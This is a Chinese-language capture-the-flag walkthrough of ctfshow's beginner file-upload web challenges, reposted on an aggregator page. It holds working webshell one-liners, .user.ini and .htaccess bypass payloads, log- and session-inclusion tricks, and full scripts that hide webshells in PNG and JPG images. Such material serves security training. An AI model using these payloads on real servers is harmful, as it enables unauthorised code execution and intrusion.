ctfshow--web入门--文件上传

这篇具有很好参考价值的文章主要介绍了ctfshow--web入门--文件上传。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

ctfshow--web入门--文件上传

目录
  • ctfshow--web入门--文件上传
    • web151(前端校验)
    • web152(content-type)
    • web153(.user.ini)
    • web154(内容检测'php')
    • web155(内容检测'php')
    • web156(内容检测'[')
    • web157(内容检测'php''[]''{}'';')
    • web158(文件检测'php''{''['';''log')
    • web159(日志包含)
    • web160(日志空格检测)
    • web161(日志文件头检测)
    • web162&&web163(session包含)
    • web164(png图片二次渲染)
    • web165(jpg图片二次渲染)
    • web166(zip)
    • web167(.htaccess)
    • web168(姿势绕过)
    • web169&web170(构造包含日志)
    • 文件上传总结
    • 参考文章

web151(前端校验)

题目中提示前端检验不可靠,应该对前端检验进行绕过
ctfshow--web入门--文件上传
检查前端代码进行修改,使php文件可以通过前端校验,成功上传后进行命令执行,找到flag
ctfshow--web入门--文件上传

web152(content-type)

通过前端校验后上传php文件显示文件类型不合规
ctfshow--web入门--文件上传
尝试抓包修改content-type,根据数据包回显得知上传成功。
ctfshow--web入门--文件上传
访问后门文件代码执行得到flag

web153(.user.ini)

直接上传php文件显示文件类型不合规,尝试修改content-type上传不成功,上传php3
后缀服务器不能解析
尝试访问upload文件夹,发现upload文件夹有默认索引,具有index.php文件,那么可以利用.user.ini文件来进行上传
具体user.ini知识点参考.htaccess 和.user.ini 配置文件妙用
.user.ini文件其实就是一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

ctfshow--web入门--文件上传
通过.user.ini使得upload文件夹下每个php文件在文件头都包含1.png文件
构造图片马1.png进行上传,由于.user.ini使得upload下index.php包含所上传的图片马,直接访问index.php进行命令执行即可得到falg

web154(内容检测'php')

大致步骤与153题一样。在上传的时候发现图片马上传不了,经过测试发现对图片内容中的php做了处理,那么在图片马中可以采用php其他风格得写法,如短标签等。具体可以参考PHP四种标记风格

web155(内容检测'php')

同上

web156(内容检测'[')

源码检测了php和[,采用短标记和大括号替代

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}

echo json_encode($ret);

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

web157(内容检测'php''[]''{}'';')

上传.user.ini
在上传图片马得过程中,经过使用二分法对一句话木马的分析发现,后台代码对图片马内容中的关键字‘php’,'[]','{}'以及';'都进行了检测,这一关的性质就由文件上传转变为了任意代码执行,那么只好再次对木马文件进行伪装

<?= @eval(array_pop($_POST))?>

使用=短标签绕过php检测
@不提示报错信息
eval()把内容当作php语句执行
array_pop()将数组中最后一个元素取出并删除
使用$_POST接受任意变量
使用该文件并不能获取shell,只能通过POST提交数据进行代码执行
代码执行过程
ctfshow--web入门--文件上传
ctfshow--web入门--文件上传
ctfshow--web入门--文件上传

web158(文件检测'php''{''['';''log')

得到flag方式与上题一致
通过执行命令

cp ../upload.php ../1.txt

将源码复制到1.txt得到源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content)){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/pghp|\{|\[|\;|log/i', $str);
}
echo json_encode($ret);

源码中通过check()函数使用preg_match()函数用正则表达式检测文件内容中是否含有关键字'php''{''['';''log'

web159(日志包含)

在上传.user.ini文件后,上传图片马时,经过二分法检测出后台代码增加了对'()'的检测
于是只能再次改变文件内容,使其包含nginx的日志文件,由于后台代码对关键字'log'也进行了过滤,因此文件构造为

<? include "/var/lo"."g/nginx/access.lo"."g"?>

ctfshow--web入门--文件上传
上传后访问upload查看是否包含了日志文件,再构造UA头对日志文件中插入后门代码,再次查看成功插入后门代码
ctfshow--web入门--文件上传
蚁剑连接得到flag

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content)){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(/i', $str);
}
echo json_encode($ret);

web160(日志空格检测)

在上传.user.ini配置文件时,经过测试发现多了对空格的检测。
POC:

auto_prepend_file=1.png			.user.ini内容
<?=include"/var/lo"."g/nginx/access.l"."og"?>		1.png内容

其余操作与上一关一致,通过修改UA头将后门代码写入日志,然后连接后门

web161(日志文件头检测)

在上传.user.ini文件时,经过检测发现对文件头进行检测,所以在上传所有文件时都要加上图片格式的文件头
POC:

GIF89a
auto_prepend_file=1.png		.user.ini文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>		1.png文件配置

其余利用方式与上一关一致
这一关是关于getimagesize函数绕过

web162&&web163(session包含)

在上传.user.ini文件时,经过检测发现对'.'进行了检测,那么只能采用包含session文件的方法
.user.ini文件内容为

GIF89a
auto_prepend_file=/tmp/sess_shell

这样可以跳过上传图片马作为包含文件的跳板,直接使upload下的index.php文件包含session文件

需要编写一个向目标地址发送POST请求创建session文件的文件上传网页

<!DOCTYPE html>
<html>
<body>
<form action="http://78c48379-27b6-4a04-ac10-07c787b030d4.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('tac ../f*')?>");?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

打开网页向目标地址发送数据包,并在数据包中构造session文件的文件名
ctfshow--web入门--文件上传
将该POST数据包与访问upload目录的GET数据包进行条件竞争,访问upload的数据包长度发生变化即创建后门文件成功
ctfshow--web入门--文件上传
连接后门即可拿到flag

web164(png图片二次渲染)

这一关考察png图片二次渲染,经过上传图片后再次将图片下载下来经过对比,使用010editor发现经过了二次渲染,很多地方的数据都不一样了

所谓二次渲染,就是网站将用户所上传的文件,由于各种原因(适配网站显示,防止木马)等,将文件中的数据进行修改,
对二次渲染的绕过即将源文件与上传之后的文件进行对比,找出没有发生变化的数据位置,将后门代码插入没有发生变化的
数据的位置。对于绕过二次渲染,人工绕过几乎不可能,这就需要使用脚本来进行构建图片马。

某不知名佬写的代码,参考CTFSHOW-文件上传

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'1.png');  //要修改的图片的路径
 
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
 
?>
------------------------------------
           创建1.png图片成功!      
------------------------------------

使用该脚本对图片进行重新修改,再次上传,发送GET和POST数据即可获得flag
ctfshow--web入门--文件上传

web165(jpg图片二次渲染)

这里考察jpg图片二次渲染绕过,同样需要用脚本构建jpg图片马

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
 
    $miniPayload = '<?=eval($_POST[1]);?>';
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方式需要安装php环境

php 脚本.php payload.jpg	

构建jpg格式的图片马由于各种原因参考付杰博客成功率比较低,下面使一张成功率较高的图片
ctfshow--web入门--文件上传
将原图片进行上传,再重新对其进行下载,经过浏览器的渲染之后,脚本插入后门代码成功率会更高。
将经过渲染之后的图片再使用脚本插入后门代码,重新上传即可进行代码执行或连接shell
ctfshow--web入门--文件上传
ctfshow--web入门--文件上传

web166(zip)

这里经过测试发现上传点zip压缩文件上传,将木马文件修改后缀上传即可。
ctfshow--web入门--文件上传
将访问文件的数据包抓取发现采用变量file,可能是文件包含,将数据包改为POST方法执行命令即可得到flag
ctfshow--web入门--文件上传

web167(.htaccess)

经过测试上传文件必须为jpg后缀,通过题目提示httpd,尝试使用上传.htaccess文件进行绕过

AddType application/x-httpd-php .jpg	/将.jpg后缀文件当作php解析

ctfshow--web入门--文件上传
将木马文件后缀改为jpj,content-type改为jpeg即可成功上传

web168(姿势绕过)

经过测试发现,文件上传点将eval和system以及post和get过滤了
也可以使用反引号来进行命令执行,通过不断修改上传文件中的内容和不断访问该文件来获取flag

<?php echo `tac ../flagaa.php`;?>

ctfshow--web入门--文件上传
ctfshow--web入门--文件上传
还可以使用其他姿势来绕过

<?php
$a="s,y,s,t,e,m";
$b=explode(",",$a);		以','为分割符,将字符串拆分为数组
$c=$b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST['pass']);
?>
<?php
$a=substr("1sys",1)."tem";		返回字符串中第一位以后的字符串
$a($_REQUEST['pass']);
?>
$a=strrev("metsys");		反转字符串
$a($_REQUEST['pass'])
?>

参考文章:
CTFshow-WEB入门-文件上传(持续更新)
PHP数据接收变量$_GET、$_POST 、$_REQUEST区别

web169&web170(构造包含日志)

经过检测,后台对'<'进行了检测,那么所有的php代码就不能上传了,但是php文件依旧可也上传,我们可以上传一个php后缀的文件,然后使用上传.user.ini的方法来进行日志包含,然后构造UA头进行访问即可得到flag
ctfshow--web入门--文件上传

文件上传总结

  1. 前端校验,采用修改前端代码或禁用JS等
  2. content-type校验,修改数据包中content-type值
  3. 上传配置文件,修改配置进行上传
  4. 上传内容检测,通过二分法测试出检测内容,使用各种姿势进行绕过
  5. 文件头校验,在文件中添加符合上传规则的文件头
  6. 配合文件包含,使用包含日志和包含session文件
  7. 二次渲染使用脚本构建图片马配合文件包含进行上传

参考文章

.htaccess 和.user.ini 配置文件妙用
PHP四种标记风格
CTFSHOW-文件上传
付杰博客
CTFshow-WEB入门-文件上传(持续更新)
PHP数据接收变量$_GET、$_POST 、$_REQUEST区别
官方write up 视频讲解

以上内容仅作学习,如有错误或瑕疵,欢迎各位大佬进行斧正,感谢阅读。文章来源地址https://www.toymoban.com/news/detail-622567.html

到了这里,关于ctfshow--web入门--文件上传的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTFshow web入门---web56

    题目: 题目分析: 查看本题,发现本题为命令执行类题目,但是有一个很致命的点,那么就是他过滤了所有的字母和数字,以及一系列的符号。因此本题最值得推敲的点就是如何实现 无字母数字的命令执行 通过拜读P神的一篇文章,其中《无字母数字webshell之提高篇》讲到了

    2023年04月22日
    浏览(28)
  • ctfshow web入门 web141-145

    1.web141 ^w+$表示在开头和末尾匹配字母数字_,传入的v3值不能有字母数字_,即无字母的命令执行 php中1-phpinfo()是可以执行的,加减乘除都可以实现 这里或,异或,取反等运算都可以 这里采用羽师傅的异或脚本生成payload payload: 2.web142 payload: 3.web143 过滤了取反,+,-等符号,还可

    2024年02月22日
    浏览(60)
  • CTFShow-Web入门

    web1 解题思路: 查看源代码 web2 解题思路: 在无法查看源代码的情况下可以使用快捷键 web3 解题思路: 查看源代码无效,尝试发送POST请求 web4 解题思路: 根据题目提示: 总有人把后台地址写入robots,帮黑阔大佬们引路。 找到了flag的路径 web5 解题思路: 根据题目提醒phps源码泄露,访

    2024年02月12日
    浏览(28)
  • ctfshow web入门 ssrf web351-355

    尝试访问本机的flag.php payload: 必须要用http或https,ip没有过滤因为匹配时没加变量,恒为真 payload: 必须要用http或https,过滤了127.0.,只要匹配到了127.0.就不能继续执行了 windows 0代表0.0.0.0 linux 0代表 127.0.0.1 可以用0代替127.0.0.1 payload: 过滤了0和1,可以把域名解析到127.0.0.1 http:/

    2024年02月05日
    浏览(46)
  • CTFshow web入门 web316-web333 XSS

    我tm又来了,总之top10先过一遍,到第三个XSS了,下一个要去看了,看了网上很多wp总感觉不是太全,所以就自己写了一个 网站没有对用户提交的数据进行转义处理或者过滤不足,从而被恶意攻击者利用进而被添加一些恶意可执行脚本嵌入到web页面中去,使别的用户访问都会执

    2024年02月03日
    浏览(34)
  • ctfshow web入门 爆破 21-28

    刚进去就要求我们登录,这里题目给了我们一个字典,就是这个字典为什么他那么多数字中 就一个字母的密码还不明显吗。   这里我们使用burp拦包,这里没有发现登录的账号密码,但是有一串可疑的字符串,尝试base64解密 这我们就得到了,我们测试用的账号密码了,这里将

    2024年02月01日
    浏览(27)
  • ctfshow web入门 sql注入

    sql注入分为多种类型的注入,我将对ctfshow web入门的sql入门进行题目分类,并在最后对每种sql注入做一下总结; 本题类型 联合注入 第一种方法 万能密码  第二种方法 联合注入 这是按照数据库中有3个数据库进行,因为题目一般为3,当然也可以使用查询语句进行查询,语句如

    2024年02月21日
    浏览(26)
  • 《CTFshow-Web入门》01. Web 1~10

    ctf - web入门 web1:网页源码查看。 web2:网页源码查看。 web3:burpsuite 抓包查看响应数据包。 web4:robots.txt 文件泄露后台地址。 web5:phps 文件泄露源码。 web6:网站备份压缩文件泄露源码。 web7:版本控制之 git 泄露源码。 web8:版本控制之 svn 泄露源码。 web9:vim 缓存信息泄露

    2024年02月05日
    浏览(51)
  • 《CTFshow-Web入门》09. Web 81~90

    ctf - web入门 web81:include() 利用,一句话木马之 Nginx 日志利用。 web82~86:include() 利用,条件竞争,利用 session 文件写入一句话木马。 web87:file_put_contents() 利用,伪协议 php://filter/ 。 web88:include() 利用,正则绕过,伪协议 data:// 。 web89:PHP 特性之 intval()。 web90:PHP 特性之

    2024年02月10日
    浏览(26)
  • 《CTFshow-Web入门》07. Web 61~70

    ctf - web入门 web61~70:post 请求之 eval() 利用。 这几个题都和 web58 一样。可能内部禁用的函数不一样吧。但 payload 都差不多。不多解释了。 以下解法随便挑一个即可。可能不同题会有部分函数被禁。 payload1 : payload2 : payload3 : payload4 : 题目没变化。 随便试一个函数。 根据

    2024年02月01日
    浏览(34)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包